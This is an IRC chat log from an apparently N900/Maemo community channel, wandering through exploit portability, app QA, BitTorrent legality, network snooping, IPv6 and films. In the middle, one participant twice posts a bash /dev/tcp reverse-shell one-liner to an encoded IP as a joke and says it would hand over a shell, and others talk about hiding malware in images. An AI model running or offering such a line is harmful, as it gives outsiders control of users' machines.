| jacekowski | arch independent programming languages don't exist | 00:00 |
|---|---|---|
| luke-jr | DocScrutinizer: you mean undefined behaviour, which isn't valid | 00:00 |
| DocScrutinizer | obviously an exploit written for LE platforms won't work on BE | 00:00 |
| luke-jr | DocScrutinizer: it should if you do it right ;) | 00:01 |
| DocScrutinizer | luke-jr: I mean writing 'buggy' code which results in exactly the nasty behaviour I actually intended | 00:01 |
| C-S-B-N900 | anyone use wii control? | 00:01 |
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| DocScrutinizer | luke-jr: correct code should, yes. An EXPLOIT though is highly arch dependent | 00:02 |
| luke-jr | DocScrutinizer: if the exploit is written (even partially) in bytecode, then yes | 00:02 |
| luke-jr | if it's 100% correct C, it shouldn't care what the CPU is, at least | 00:03 |
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| luke-jr | unless it's trying to exploit the CPU :P | 00:03 |
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| * DocScrutinizer thinks about really simple things, like 'accidentally' storing address of a .bmp to a callback procedure | 00:04 | |
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| DocScrutinizer | easily done by stack-off-by-one | 00:04 |
| lcuk | luke-jr, the problem with cross platform c code is that you would require libraries and those are the place it fails | 00:04 |
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| DocScrutinizer | heh | 00:05 |
| DocScrutinizer | exactly :-) | 00:05 |
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| luke-jr | lcuk: libraries will work on any architecture with a recompile, unless those libraries are buggy ;) | 00:05 |
| luke-jr | and C doesn't *require* libraries | 00:05 |
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| lcuk | so your exploit now needs to carry around recompiled libraries for every OS it targets | 00:05 |
| lcuk | making its footprint rather prohibative | 00:06 |
| luke-jr | ... | 00:06 |
| lcuk | luke-jr, try doing even something simple in pure c | 00:06 |
| DocScrutinizer | lcuk: here it's just frals who wants to get past the QA with his 0900-calling fmms :-P | 00:06 |
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| lcuk | just read a file | 00:06 |
| lcuk | write a line to console | 00:06 |
| luke-jr | lcuk: writing to console needs no lib | 00:07 |
| DocScrutinizer | so it's just two target platforms | 00:07 |
| lcuk | luke-jr, go on.. | 00:07 |
| lcuk | this will be fun | 00:07 |
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| johnsq | lcuk: no problem you can do the sys-call direct | 00:07 |
| luke-jr | #include <stdio.h> int main() { puts("hello world"); } | 00:07 |
| luke-jr | johnsq: syscalls aren't C | 00:08 |
| lcuk | puts is platform specific | 00:08 |
| luke-jr | lcuk: nope | 00:08 |
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| luke-jr | puts is C89 | 00:08 |
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| DocScrutinizer | you easily can put some malware into a few 100 pixels of 'snow' in a .bmp or .gif | 00:08 |
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| DocScrutinizer | but getting the thing to run without segfaults on x86 AND arm | 00:09 |
| DocScrutinizer | ... hard | 00:09 |
| lcuk | luke-jr, each platform has different mechanisms for performing stdio - different addresses and ways of doing it | 00:09 |
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| luke-jr | lcuk: irrelevant. puts is a platform-independent abstraction | 00:10 |
| DocScrutinizer | stdio is platform specific | 00:10 |
| luke-jr | no | 00:11 |
| luke-jr | stdio is part of C | 00:11 |
| DocScrutinizer | so what? | 00:11 |
| * lcuk facepalms | 00:11 | |
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| luke-jr | so any compliant C implementation has it | 00:11 |
| DocScrutinizer | it has different code inside, though the ABI is identical | 00:11 |
| lcuk | luke-jr, the clibrary requires compiling and linking with your app | 00:11 |
| lcuk | so you need to carry around a library for each arch | 00:12 |
| luke-jr | or you just recompile | 00:12 |
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| * lcuk facepalms | 00:12 | |
| frals | lol | 00:12 |
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| DocScrutinizer | frals: $4.99 / mms ? ;-P | 00:13 |
| SpeedEvil | http://wiki.openstreetmap.org/wiki/Accuracy#Georectification does this look sane | 00:13 |
| frals | DocScrutinizer: ^_^ | 00:13 |
| SpeedEvil | oops - sorry | 00:13 |
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| DocScrutinizer | frals: no offense or anything intended - just pondering about use and nonsense of a 10 day quarantine | 00:16 |
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| frals | DocScrutinizer: none taken :) | 00:17 |
| frals | 10d quarantine is fine i guess but would be nice to have testers who can cut it down after testing it | 00:18 |
| SpeedEvil | Supertesters! | 00:18 |
| SpeedEvil | Who actually have a clue | 00:18 |
| SpeedEvil | profile the app in various conditions. | 00:18 |
| SpeedEvil | Test it at least basically | 00:19 |
| SpeedEvil | find obvious blockers | 00:19 |
| DocScrutinizer | set system date to arbitrary points into the future | 00:19 |
| SpeedEvil | An annoying issue I saw with the current scheme was lots of people - apparantly for karma reasons - going over the list of packages for bugtracker links, and voting them down - even when there was already a downvote for that | 00:20 |
| DocScrutinizer | fsckers | 00:21 |
| derf | Also, even when there was a bugtracker for the package, like mine. | 00:21 |
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| derf | This is one of the reasons I gave up packaging things. | 00:21 |
| SpeedEvil | A per-package forum would be very nice | 00:21 |
| * DocScrutinizer remarks it seems not helpful for karma to contribute to tmo :-P | 00:21 | |
| derf | Because it turns out I don't care enough to put up with bullshit like that. | 00:22 |
| Appiah | SpeedEvil: dont garage have that? | 00:22 |
| SpeedEvil | A email address as a bugtracker can seem very blackhole | 00:22 |
| SpeedEvil | Not having one unified way to find an apps homepage, interact with other users is somewhat broken | 00:22 |
| DocScrutinizer | though my karma actually is >0, which is a surprise to me | 00:23 |
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| kthomas_vh | karma( DocScrutinizer)--; | 00:24 |
| GAN900 | Modest: Let's put the signature ABOVE the quoted text! | 00:24 |
| DocScrutinizer | huh? | 00:24 |
| GAN900 | GENIUS!!!! | 00:24 |
| DocScrutinizer | oooh sweet | 00:24 |
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| GAN900 | It's funny when I forget to drop my council sig from personal emails. | 00:25 |
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| DocScrutinizer | SpeedEvil: how did you manage to open that CA-146A ? | 00:29 |
| DocScrutinizer | isn't it glued/welded? | 00:29 |
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| DocScrutinizer | SpeedEvil: or is there a special trick? | 00:31 |
| DocScrutinizer | or hidden screw | 00:31 |
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| GAN900 | Probably broke it. | 00:39 |
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| alexcockell | Evening.. | 00:40 |
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| jd4200 | Anyone know why im unable to set permissions on any file, no matter how much i chmod. | 00:44 |
| jd4200 | i also cant chown a file to user, it says unknow user 'user' | 00:44 |
| rm_you | well, most of the device is actually FAT32 | 00:45 |
| alexcockell | New user to Nokia N900s etc.. | 00:45 |
| rm_you | it depends on where the file is | 00:45 |
| rm_you | and FAT32 doesnt support permissions | 00:45 |
| alexcockell | I was thinking of getting Evopedia up and running... | 00:46 |
| rm_you | though not sure that's really related to your error message | 00:46 |
| rm_you | ah | 00:46 |
| alexcockell | ... but everywhere I look it talks about using BitTorrent to get a dataset.. | 00:46 |
| rm_you | well, anything in /home/user/ is FAT32 so no permissions | 00:46 |
| jd4200 | rm_you oh wasnt aware it was fat32, so no way of making a script executable? | 00:46 |
| alexcockell | .. with the passage of the Digital Economy Bill - I am simply too scared to EVER use BitTorrent - I have never done so before | 00:46 |
| rm_you | not in /home/user i believe | 00:47 |
| rm_you | unless you mount another folder there that IS on ext2/3 | 00:47 |
| jd4200 | alexcockell: the libdems oppose it with a passion so hopefully it gets overturned | 00:47 |
| alexcockell | Does anyone know if there is anywhere where I could buy a copy of a Wikipedia dump from legally? | 00:47 |
| * PerfDave uses BitTorrent to download legal content | 00:48 | |
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| rm_you | ummm | 00:48 |
| alexcockell | I thought BitTorrent and all p2p software was illegal? | 00:48 |
| PerfDave | Sorry, bad phrasing, I use it to download content without violating that content's copyright holder's rights. | 00:48 |
| rm_you | Wikipedia dumps are free/legal | 00:48 |
| PerfDave | alexcockell: Uhm, not at all. | 00:48 |
| rm_you | you've been lied to | 00:48 |
| alexcockell | Yeah - but my ISP frowns on p2p.. | 00:48 |
| rm_you | by the RIAA and corporate america | 00:49 |
| PerfDave | BitTorrent is software. It's a way of transferring files. Some file transfers go against copyright laws, others don't. | 00:49 |
| rm_you | you can tell your ISP to *suck it* | 00:49 |
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| rm_you | if more people did that, the world would be a better place | 00:49 |
| PerfDave | Using BitTorrent to download Debian GNU/Linux is fine; using it to download most films isn't. | 00:49 |
| rm_you | what THEY'RE doing to restrict torrent bandwidth is illegal | 00:49 |
| luke-jr | alexcockell: do you pay your ISP? | 00:49 |
| PerfDave | rm_you: Illegal how? If it's in the contract you agree with your ISP, then I don't see how it can be illegal. | 00:50 |
| alexcockell | Hmm - funny about that - I've *bought* the last two installs of Ubuntu - I buy my machies from linux Emporium | 00:50 |
| alexcockell | *machines | 00:50 |
| luke-jr | alexcockell: do you pay your ISP? | 00:50 |
| alexcockell | Yes | 00:50 |
| luke-jr | for what? | 00:50 |
| alexcockell | Connectivity | 00:50 |
| luke-jr | to? | 00:50 |
| alexcockell | 19 quid a month | 00:50 |
| alexcockell | the Net.. | 00:51 |
| * PerfDave tends to buy Debian distros once the pressed DVDs become available from places that donate to the project. | 00:51 | |
| luke-jr | alexcockell: what is the Net? | 00:51 |
| alexcockell | All the services out there... | 00:51 |
| luke-jr | wrong | 00:51 |
| luke-jr | the Internet is a *peer-to-peer* computer network | 00:51 |
| alexcockell | BBC, Youtube, here... Ship Of FOols.. other sites I go to | 00:51 |
| PerfDave | luke-jr: Nobody can tell you what the net is. You have to experience it for yourself. | 00:51 |
| PerfDave | Oh wait, that was the Matrix. | 00:51 |
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| sECuRE | hrhr | 00:51 |
| luke-jr | alexcockell: BBC, Youtube, etc are just other peers | 00:52 |
| alexcockell | We7 (paid subscrtiption) | 00:52 |
| luke-jr | you are no less a peer than they are | 00:52 |
| luke-jr | they just happen to pay for a bigger pipe | 00:52 |
| rm_you | go look up net neutrality | 00:52 |
| rm_you | or comcast being sued for bandwidth limits on torrents | 00:52 |
| luke-jr | alexcockell: *everything* on the internet is p2p | 00:52 |
| luke-jr | rm_you: Comcast won | 00:52 |
| rm_you | no they didnt? what? | 00:53 |
| luke-jr | rm_you: yes, Comcast won vs FCC | 00:53 |
| luke-jr | the court ruled FCC has no jurisdiction | 00:53 |
| rm_you | oh, not that | 00:53 |
| luke-jr | that's what you're talking about... | 00:53 |
| rm_you | that was recently | 00:53 |
| luke-jr | net neutrality failed to pass | 00:54 |
| rm_you | the thing im talking about was year+ ago | 00:54 |
| luke-jr | now the US government is trying to pass bills making ISPs required to block illegal transfers | 00:54 |
| alexcockell | Hmm - just like the DEA | 00:54 |
| luke-jr | complete flip-flop | 00:54 |
| alexcockell | (Digital Economy Act) | 00:54 |
| luke-jr | alexcockell: in the meantime, BitTorrent is 100% legal | 00:54 |
| SpeedEvil | I used bittorrent to download some slackware CDs a couple of weeks ago. | 00:55 |
| luke-jr | the day you cannot use BitTorrent is the day you no longer have Internet | 00:55 |
| alexcockell | But I was under the impression according to The Register that all BitTorrent activity was being monitored.. | 00:55 |
| luke-jr | alexcockell: maybe it is | 00:55 |
| luke-jr | irrelevant, since it's legal | 00:56 |
| alexcockell | I've never used BitTorrent | 00:56 |
| PerfDave | Even if that were true, alexcockell, that doesn't make it illegal necessarily :) | 00:56 |
| SpeedEvil | alexcockell: It is - mostly - trivial - to snoop on all p2p protocols - even as a user | 00:56 |
| alexcockell | All I've ever heard is how unsafe it is.. | 00:56 |
| PerfDave | alexcockell: Unsafe how? | 00:56 |
| jacekowski | luke-jr: well, bittorent isn't illegal | 00:56 |
| luke-jr | jacekowski: my point exactly | 00:56 |
| jacekowski | luke-jr: bit 99% trafic in bt network is | 00:56 |
| SpeedEvil | Or rather - snoop as in the sense of finding who's getting what | 00:56 |
| luke-jr | alexcockell: BitTorrent is very safe; more than anything else really | 00:56 |
| luke-jr | jacekowski: I question the 99% figure | 00:57 |
| luke-jr | jacekowski: I think you just made that up on the spot | 00:57 |
| PerfDave | Yeah, it's more like 90% IIRC | 00:57 |
| jacekowski | on my server it's closer to 100% | 00:57 |
| luke-jr | ... | 00:57 |
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| jacekowski | but we all agree that most of bittorent traffic is illegal | 00:58 |
| jacekowski | same thing about TOR | 00:58 |
| luke-jr | alexcockell: BitTorrent is just a protocol, like HTTP (web browsers use this), SMTP (email), or XMPP (IM) | 00:58 |
| jacekowski | i was hosting exit node for some time | 00:58 |
| luke-jr | alexcockell: what matters is what you use it for | 00:58 |
| jacekowski | but amount of shit people do with it | 00:58 |
| alexcockell | Yeah I suppose so.. | 00:58 |
| jacekowski | child porn, porn, downloading from rapidshare and similiar sites | 00:58 |
| luke-jr | the only thing 'unsafe' about BitTorrent is that it is not anonymous | 00:58 |
| jacekowski | trolling | 00:58 |
| luke-jr | but it wasn't designed to be | 00:58 |
| alexcockell | Haven't even uploaded anything to Youtube - | 00:58 |
| luke-jr | nor is most any other internet protocol anonymous | 00:58 |
| jacekowski | i mean, if anything has potential to be abused | 00:59 |
| alexcockell | WATCHED loads.. | 00:59 |
| jacekowski | it will be | 00:59 |
| SpeedEvil | There are some exceptions. | 00:59 |
| luke-jr | at least BitTorrent is often encryption ;) | 00:59 |
| PerfDave | It does depend on what you mean by "safe", of course. If you get your .torrent file from a dodgy source, you might be downloading trojanned software or something. | 00:59 |
| SpeedEvil | 4chan for example - everyone there is over 18. | 00:59 |
| luke-jr | email is almost *always* easy for *anyone* to spy on | 00:59 |
| alexcockell | Bought my last large batch of DVDs from clips watched on 'Tube | 00:59 |
| SpeedEvil | luke-jr: only ISPs and governments really | 01:00 |
| alexcockell | I know that about email - used to administer Lotus Notes at work | 01:00 |
| PerfDave | alexcockell: Scrotes? You poor bastard ;) | 01:00 |
| SpeedEvil | luke-jr: Or people with the smarts to decode DSL. (or perform MITM on it) | 01:00 |
| SpeedEvil | A software DSL modem would be cool | 01:00 |
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| alexcockell | Nah - watched a couple of episodes of Howards Way on 'Tube.. remembered hjow good it was.. bought the box set | 01:01 |
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| luke-jr | SpeedEvil: is DSL easy to snoop too? | 01:01 |
| luke-jr | Cable is *very* easy to snoop | 01:01 |
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| luke-jr | fairly simple to snoop other servers in the same room as your dedi as well | 01:02 |
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| jacekowski | nobody is safe | 01:02 |
| luke-jr | Cable basically puts your modem on a switch with about 1000 other subscribers, and uses ARP proxy to your PC | 01:02 |
| SpeedEvil | luke-jr: DSL is quite annoying to snoop | 01:03 |
| alexcockell | .. and they see back as far as the NAT port on your router.. rigth? | 01:03 |
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| SpeedEvil | luke-jr: As it's designed to be a two-way protocol. | 01:03 |
| SpeedEvil | luke-jr: And it's OFDM and shit. | 01:03 |
| luke-jr | alexcockell: NAT is an ugly hack of connection sharing, it is NOT a firewall and does NOT protect you | 01:03 |
| jacekowski | alexcockell: all traffic going trough your dsl | 01:04 |
| SpeedEvil | luke-jr: There is no actual encryption - but snooping it is hard. MITMing is hard as there is no commodity hardware | 01:04 |
| jacekowski | alexcockell: and some modem allow remote firmware upgrade | 01:04 |
| jacekowski | alexcockell: which gives them more possibilities | 01:04 |
| alexcockell | MITM? | 01:04 |
| SpeedEvil | Man In The Middle | 01:04 |
| jacekowski | Man in the middle | 01:04 |
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| Shapeshifter | mh? but you need your own modem to snoop cable, right? | 01:04 |
| alexcockell | Ah. | 01:04 |
| luke-jr | Shapeshifter: sure, why? | 01:04 |
| SpeedEvil | In the case of DSL, it would be putting a DSLAM at the end of the cut cable, and a DSL modem next to it to talk to the telco | 01:04 |
| jacekowski | SpeedEvil: well, dslam + modem + laptop | 01:04 |
| jacekowski | SpeedEvil: + switch | 01:05 |
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| luke-jr | DSL has a dedicated wire to each house, IIRC | 01:05 |
| luke-jr | Cable just has a single shared fiber optic | 01:05 |
| alexcockell | But - seeing that my main time when I might cane the link is when I'm watching something off iPlayer... or if I'm listening to a queue off We7.. | 01:05 |
| Shapeshifter | luke-jr: I never heard anyone on my provider using his own modem, so I assume only modems by the provider can be used. | 01:05 |
| SpeedEvil | jacekowski: yes. | 01:06 |
| jacekowski | luke-jr: you can | 01:06 |
| luke-jr | Shapeshifter: 1) FCC regulations require providers to allow hardware other than their own | 01:06 |
| luke-jr | Shapeshifter: 2) ISP needs not know ;) | 01:06 |
| SpeedEvil | jacekowski: Or a ADC + laptop + ubersoftware. | 01:06 |
| luke-jr | in fact, if you're just sniffing, I don't think the ISP *can* detect or trace youy | 01:06 |
| jacekowski | well the could | 01:06 |
| jacekowski | if you do mitm | 01:06 |
| Viliny_ | isn't cable like so that you have to have a hw address on the box that the isp knows? | 01:06 |
| jacekowski | and use your own modem as mac will change | 01:06 |
| luke-jr | jacekowski: if you modify stuff | 01:06 |
| Shapeshifter | luke-jr: iirc the fcc doesn't apply to all countries | 01:07 |
| jacekowski | or whatever is that called on adsl | 01:07 |
| luke-jr | jacekowski: you don't need to transmit to sniff cable | 01:07 |
| luke-jr | Shapeshifter: sure | 01:07 |
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| luke-jr | Shapeshifter: even then, they can't easily stop you if they don't know | 01:07 |
| jacekowski | Shapeshifter: as long as you use compatible hardware it's going to work | 01:07 |
| jacekowski | Shapeshifter: except that cable providers lock line to specific mac address | 01:07 |
| alexcockell | Trying to do that without clearance would expose me to all kinds of legal issues - under RIPA, Computer muisuse Act, DPA... | 01:07 |
| SpeedEvil | For sniffing DSL, I would guess that ot | 01:07 |
| Shapeshifter | that *is* inteesting | 01:08 |
| SpeedEvil | it's going to be at least a few tens of thousands of lines of code | 01:08 |
| luke-jr | alexcockell: sure | 01:08 |
| SpeedEvil | the DSL protocol is not really simple | 01:08 |
| jacekowski | alexcockell: you never done anything illegal? | 01:08 |
| luke-jr | alexcockell: but we're not talkign about BitTorrent anymore; that's legal :P | 01:08 |
| luke-jr | SpeedEvil: isn't DSL just PPPoE, followed by modulation/demodulation? | 01:08 |
| alexcockell | Apart from the odd CD copy years ago (taped friend's CD)... no. | 01:09 |
| jacekowski | nope | 01:09 |
| SpeedEvil | luke-jr: yes. | 01:09 |
| jacekowski | luke-jr: dsl is home version of ATM | 01:09 |
| Shapeshifter | btw, on sniffing dsl, a provider in germany had a serious misconfiguration in his network, that basically allowed all traffic inside their subnet. this meant you could see all peers connected and browse all open smb shares and so on. | 01:09 |
| SpeedEvil | luke-jr: the PPPoE and ATM are the trivial part | 01:09 |
| luke-jr | Shapeshifter: they should. :) | 01:09 |
| alexcockell | PPPoA more common in UK | 01:09 |
| SpeedEvil | luke-jr: The DSL protocol - is _messy_ | 01:09 |
| PerfDave | My ISP is happy for me to use an ADSL router other than the one you provided. | 01:09 |
| jacekowski | Shapeshifter: that's normall | 01:09 |
| luke-jr | Shapeshifter: idiots with open SMB shares can take responsibility for themselves | 01:09 |
| PerfDave | Shapeshifter: NTL cable in the UK used to be like that. A good firewall was useful :) | 01:09 |
| jacekowski | Shapeshifter: you can always do it | 01:09 |
| luke-jr | Shapeshifter: or sue the company that misconfigured their OS defaults | 01:10 |
| SpeedEvil | luke-jr: It's several layers of stacking protocol, and adds analog signal processing problems to that. | 01:10 |
| jacekowski | Shapeshifter: unless provider filters smb ports | 01:10 |
| alexcockell | I run Ubuntu at home - so no hassles re SMB... | 01:10 |
| Shapeshifter | jacekowski: well clearly they should disallow any direct traffic | 01:10 |
| luke-jr | Shapeshifter: no | 01:10 |
| SpeedEvil | luke-jr: For example, there are about 200 different channels in DSL. Each one has a variable number of bits per frame. That can shift according to noise on the line. | 01:10 |
| jacekowski | Shapeshifter: no | 01:10 |
| Shapeshifter | no? | 01:10 |
| jacekowski | Shapeshifter: why i shouldn't be allowed to talk to someboy in same subnet? | 01:10 |
| jacekowski | somebody* | 01:11 |
| luke-jr | the point of the internet is direct traffic | 01:11 |
| jacekowski | it's blaster that made provider start to block that | 01:11 |
| luke-jr | :( | 01:11 |
| Shapeshifter | ecause the normal user doesnt know what he's doing | 01:11 |
| SpeedEvil | Most DSL connections in the UK are very much point-point to the ISP | 01:11 |
| luke-jr | Shapeshifter: then ban that idiot from the internet :/ | 01:11 |
| Shapeshifter | well. I guess I agree | 01:12 |
| SpeedEvil | You can't talk to your neighbour, as your neighbours connection has no IP address. | 01:12 |
| jacekowski | luke-jr: if any party would made that kind of proposal | 01:12 |
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| jacekowski | luke-jr: they have my vote | 01:12 |
| luke-jr | lol | 01:12 |
| jacekowski | Shapeshifter: everything has ip address | 01:12 |
| * SpeedEvil has donated to the Pirate party. | 01:13 | |
| luke-jr | in seriousness, though, I'd be fine with an ISP that charged $5/mo for firewalling service, and required a test to sign up for service without it | 01:13 |
| SpeedEvil | http://www.pirateparty.org.uk/party/donate/ | 01:13 |
| jacekowski | it should be that filtering is enabled by default for free | 01:13 |
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| jacekowski | smtp traffic, smb | 01:13 |
| luke-jr | jacekowski: why? filters cost money :p | 01:13 |
| jacekowski | filtering/firewall | 01:13 |
| luke-jr | hmm | 01:14 |
| jacekowski | enabled by default | 01:14 |
| luke-jr | actually, I'd hate to pay $5/mo if I had to have my ISP block some retard trying to DoS me | 01:14 |
| jacekowski | and don't inform people about it in any official way | 01:14 |
| frals | theyd probably make it back in saved costs for less bw/support | 01:14 |
| jacekowski | just small print | 01:14 |
| luke-jr | so sure, free ISP-side filtering defaulted to block anything inbound | 01:14 |
| SpeedEvil | Filters cost money. | 01:14 |
| jacekowski | so people that need it unblocked will just call them | 01:14 |
| luke-jr | s/free/included/ | 01:14 |
| infobot | luke-jr meant: so sure, included ISP-side filtering defaulted to block anything inbound | 01:14 |
| Shapeshifter | utopia | 01:14 |
| SpeedEvil | But, support also costs money | 01:14 |
| jacekowski | SpeedEvil: bandwidth cost money | 01:14 |
| SpeedEvil | and that | 01:14 |
| luke-jr | jacekowski: or a nice web interface to configure it | 01:15 |
| jacekowski | SpeedEvil: transit traffic costs more than filtering | 01:15 |
| luke-jr | maybe let me auto-upload iptables configs | 01:15 |
| luke-jr | :) | 01:15 |
| SpeedEvil | jacekowski: that too. | 01:15 |
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| jacekowski | and it would make internet so much safer | 01:15 |
| luke-jr | actually, that'd be perfect: no phone deblocking, no webbrowser deblocking: require a SFTP upload of your iptables/whatever config ;) | 01:15 |
| Shapeshifter | I wonder when ipv6 will arrive | 01:15 |
| luke-jr | Shapeshifter: hmm? | 01:15 |
| SpeedEvil | Internet 2.0 | 01:16 |
| SpeedEvil | Dark fibre. | 01:16 |
| luke-jr | Shapeshifter: /whois luke-jr | 01:16 |
| luke-jr | Shapeshifter: get with the program | 01:16 |
| luke-jr | IPv6 arrived a long time ago | 01:16 |
| jacekowski | hmm | 01:17 |
| dsg | Hi all, is it possible to do outbound SIP video calls? My n900 only seems to send video codecs (H.26x) in response to an INVITE with video codecs, not when it's initiating | 01:17 |
| jacekowski | i'm wondering if it's possible to get it in uk | 01:17 |
| zokier | yup. i got native ipv6 at home, but only shitty nated ipv4 | 01:17 |
| luke-jr | jacekowski: IPv6 doesn't *require* any ISP-level support anymore, so unless your ISP is actively blocking it... | 01:17 |
| Shapeshifter | they'r beginning to use it for mobile networks and *some* ISPs but it seems reluctant to get off the ground | 01:17 |
| crashanddie | hang on, ipv6 at home? | 01:17 |
| luke-jr | zokier: I'd aim for IPv6-to-IPv4 NAT ;) | 01:17 |
| jacekowski | luke-jr: tunel is a workaround | 01:17 |
| jacekowski | polish telecom used to provide it | 01:18 |
| luke-jr | zokier: have your DNS server turn A records into AAAA under some subnet of yours, then NAT those to IPv4 | 01:18 |
| jacekowski | with 6bone | 01:18 |
| luke-jr | jacekowski: don't need a tunnel either | 01:18 |
| jacekowski | but when 6bone was closed they stopped ipv6 for home users | 01:18 |
| jacekowski | luke-jr: how? | 01:18 |
| luke-jr | jacekowski: 2002::/16 subnet :) | 01:18 |
| jacekowski | eeee | 01:18 |
| jacekowski | that's cheating | 01:19 |
| Shapeshifter | luke-jr: but you're tunnelling are you not? | 01:19 |
| * luke-jr pings 2002:5e17:1051::1 | 01:19 | |
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| jacekowski | besides, how does it work on isp level | 01:19 |
| zokier | luke-jr, i dont see how that would help anything | 01:20 |
| jacekowski | is router need ipv6 support | 01:20 |
| luke-jr | Shapeshifter: it's "tunnelling" to the first IPv6-capable router | 01:20 |
| luke-jr | wherever that may be | 01:20 |
| Shapeshifter | as long as your ISP does only give you a v4 IP its kinda futile. | 01:20 |
| luke-jr | jacekowski: tcpdump your gateway box | 01:20 |
| luke-jr | Shapeshifter: what's your IPv4? | 01:20 |
| jacekowski | luke-jr: which one? | 01:20 |
| jacekowski | jacekowski.org? | 01:21 |
| luke-jr | jacekowski: yes | 01:21 |
| jacekowski | that's not my gw | 01:21 |
| jacekowski | that's my server far away in france with proper ipv6 | 01:21 |
| luke-jr | lol | 01:21 |
| luke-jr | but not its 2002 address configured? :P | 01:21 |
| Shapeshifter | luke-jr: why? well. I know you can map v4 adresses to v6. is that any good? (I'm just clueless) | 01:22 |
| luke-jr | Shapeshifter: yes | 01:22 |
| Shapeshifter | ookay | 01:22 |
| Shapeshifter | I'll look into it | 01:22 |
| luke-jr | Shapeshifter: I can take your IPv4 address and start sending you pings over IPv6 that show up on your side | 01:22 |
| Shapeshifter | mhh | 01:22 |
| luke-jr | http://luke.dashjr.org/i-want-v6 | 01:22 |
| Shapeshifter | thanks | 01:22 |
| jacekowski | well | 01:23 |
| jacekowski | nvm | 01:23 |
| jacekowski | i have ipv6 disabled | 01:23 |
| luke-jr | so whoever was the 193.x.x.x IP that clicked that, I'm pinging you over IPv6 now :P | 01:23 |
| luke-jr | the one browsing my other dirs | 01:23 |
| lcuk | Jaffa, its hard to find the right mechanism, each dev/bug/change will be different, from the inconvenience doh bugs when you are 9days into testing to blockers being identified and requiring complete reevaluation | 01:24 |
| luke-jr | 2a02:3c8:bad:f00d:21d:e0ff:xxxx:xxxx LOL | 01:24 |
| jacekowski | 00:24:31.001545 IP 94.23.16.250 > 94.23.16.81: ICMP echo request, id 48491, seq 45061, length 64 | 01:25 |
| jacekowski | you? | 01:25 |
| crashanddie | try hacking me: 192.168.0.1 | 01:25 |
| jacekowski | try me 127.0.0.1 | 01:25 |
| lcuk | crashanddie, ping responds from there, hold on its got a shell. does anything happen on yours if i run this rm command? | 01:25 |
| luke-jr | try hacking me: 2130706433 | 01:26 |
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| frals | lol, lcuk won ;D | 01:26 |
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| luke-jr | exec 3<>/dev/tcp/1655905612/1 2>&3<&3>&3 | 01:27 |
| luke-jr | :) | 01:27 |
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| pronto | o_o that scares me | 01:28 |
| lcuk | o_O | 01:28 |
| luke-jr | lol | 01:28 |
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| lcuk | o_O | 01:29 |
| luke-jr | crashanddie: exec 3<>/dev/tcp/1655905612/1 2>&3<&3>&3 | 01:29 |
| crashanddie | luke-jr: what would that do? | 01:30 |
| luke-jr | crashanddie: if I was listening on port 1, it would give me your shell :D | 01:30 |
| crashanddie | were | 01:30 |
| crashanddie | it's were for fuck's sake | 01:30 |
| crashanddie | conditional | 01:31 |
| luke-jr | ... | 01:31 |
| crashanddie | luke-jr: nice one though | 01:31 |
| SpeedEvil | also - isn't the tcp thing y a bashism? | 01:31 |
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| luke-jr | SpeedEvil: duh | 01:31 |
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| n900-dk | Do anyone know the english word for a desk, that you can adjust in the height? up-and-down-lifting-table doesn't sound right in my ears.. :) | 01:35 |
| crashanddie | height-adjustable desk? | 01:36 |
| jacekowski | or just adjustable desk | 01:36 |
| SpeedEvil | adjustable desk | 01:37 |
| n900-dk | thx | 01:37 |
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| Macer | my son doesn't seem to like the goonies | 01:52 |
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| swc|666 | Macer, unfortunate | 01:55 |
| Macer | haha | 01:55 |
| Macer | yeah | 01:55 |
| swc|666 | :D | 01:55 |
| Macer | so i guess downloading space camp is out of the question | 01:55 |
| Macer | that's another classic :) | 01:55 |
| swc|666 | AHAHAHAAAAAAA | 01:55 |
| swc|666 | win | 01:55 |
| Macer | i loved space camp when i was a kid. awesome movie | 01:55 |
| swc|666 | same | 01:55 |
| swc|666 | lemme guess, you're ~35 yrs old | 01:56 |
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| Macer | 30 ;) | 01:56 |
| Macer | they just don't make movies like these anymore | 01:57 |
| swc|666 | no doubt | 01:57 |
| Macer | where watching a movie felt like a real sense of adventure | 01:57 |
| Macer | heh | 01:57 |
| swc|666 | yeah i know .. movies suck now | 01:58 |
| swc|666 | all superficiality and shock value | 01:58 |
| Macer | well. snatch and fight club were great | 01:58 |
| swc|666 | true indeed | 01:58 |
| Macer | so was 5th element (even if they stole the idea from heavy metal) | 01:59 |
| Macer | dark city was kind of good too | 01:59 |
| * SpeedEvil holds up his multipass. | 01:59 | |
| Macer | haha | 01:59 |
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| Macer | MOOOOOOLTIIIII PASS | 01:59 |
| SpeedEvil | :) | 01:59 |
| b-man | lol | 02:00 |
| Macer | i liked zorg the best | 02:00 |
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| Macer | jean baptise emanuel zorg | 02:00 |
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| b-man | **netsplit** | 02:00 |
| Macer | yah | 02:00 |
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| * SpeedEvil thinks. | 02:01 | |
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| Macer | i love the way 5th element would jump from place to place | 02:01 |
| b-man | those are annoying | 02:01 |
| SpeedEvil | Total Recall. | 02:01 |
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| Macer | like when she is telling the story about how the stones weren't with her | 02:01 |
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| Macer | haha.. total recall was pretty good for what it was | 02:01 |
| * SpeedEvil admits he remembers mostly 3 things from that movie. | 02:02 | |
| Macer | the 3 breasted woman? | 02:02 |
| Shapeshifter | lock stock and two smoking barrels is fun | 02:02 |
| Macer | and the eyeballs popping out? :) | 02:02 |
| Macer | i didn't like lock stock and two smoking barrels | 02:02 |
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| Macer | only truly funny parts about that movie is where the black dude sets the guy on fire and when that stoner girl jumps out and grabs that huge rifle and starts shooting all over the place | 02:03 |
| SpeedEvil | Traffic warden. | 02:03 |
| Shapeshifter | beetlejuice. | 02:03 |
| SpeedEvil | Trainspotting. | 02:03 |
| Shapeshifter | mh. beetleguise? | 02:04 |
| Shapeshifter | mh... | 02:04 |
| SpeedEvil | juice | 02:04 |
| Shapeshifter | no it was Beetlejuice | 02:04 |
| Shapeshifter | yes | 02:04 |
| SpeedEvil | Don't say it again! | 02:04 |
| Macer | didn't think beetlejuice was all that good | 02:04 |
| Macer | trainspotting was ok tho | 02:04 |
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| Shapeshifter | Betelgeuse was the star | 02:05 |
| Shapeshifter | the huge one | 02:05 |
| Macer | i watched the older indiana jones movies and they're not really all that good | 02:05 |
| Shapeshifter | but fun | 02:05 |
| Macer | except the one with sean connery | 02:05 |
| Macer | you can't make a bad movie with sean connery in it :) | 02:05 |
| Shapeshifter | indeed | 02:05 |
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| Shapeshifter | moon is good | 02:06 |
| Macer | i always hated the fact that tom cruise was considered a good actor.. he was/is horrible | 02:06 |
| Shapeshifter | yes | 02:06 |
| Macer | i mean they always surround him with real talent . although.. he was good in the nam movie with ben stiller | 02:06 |
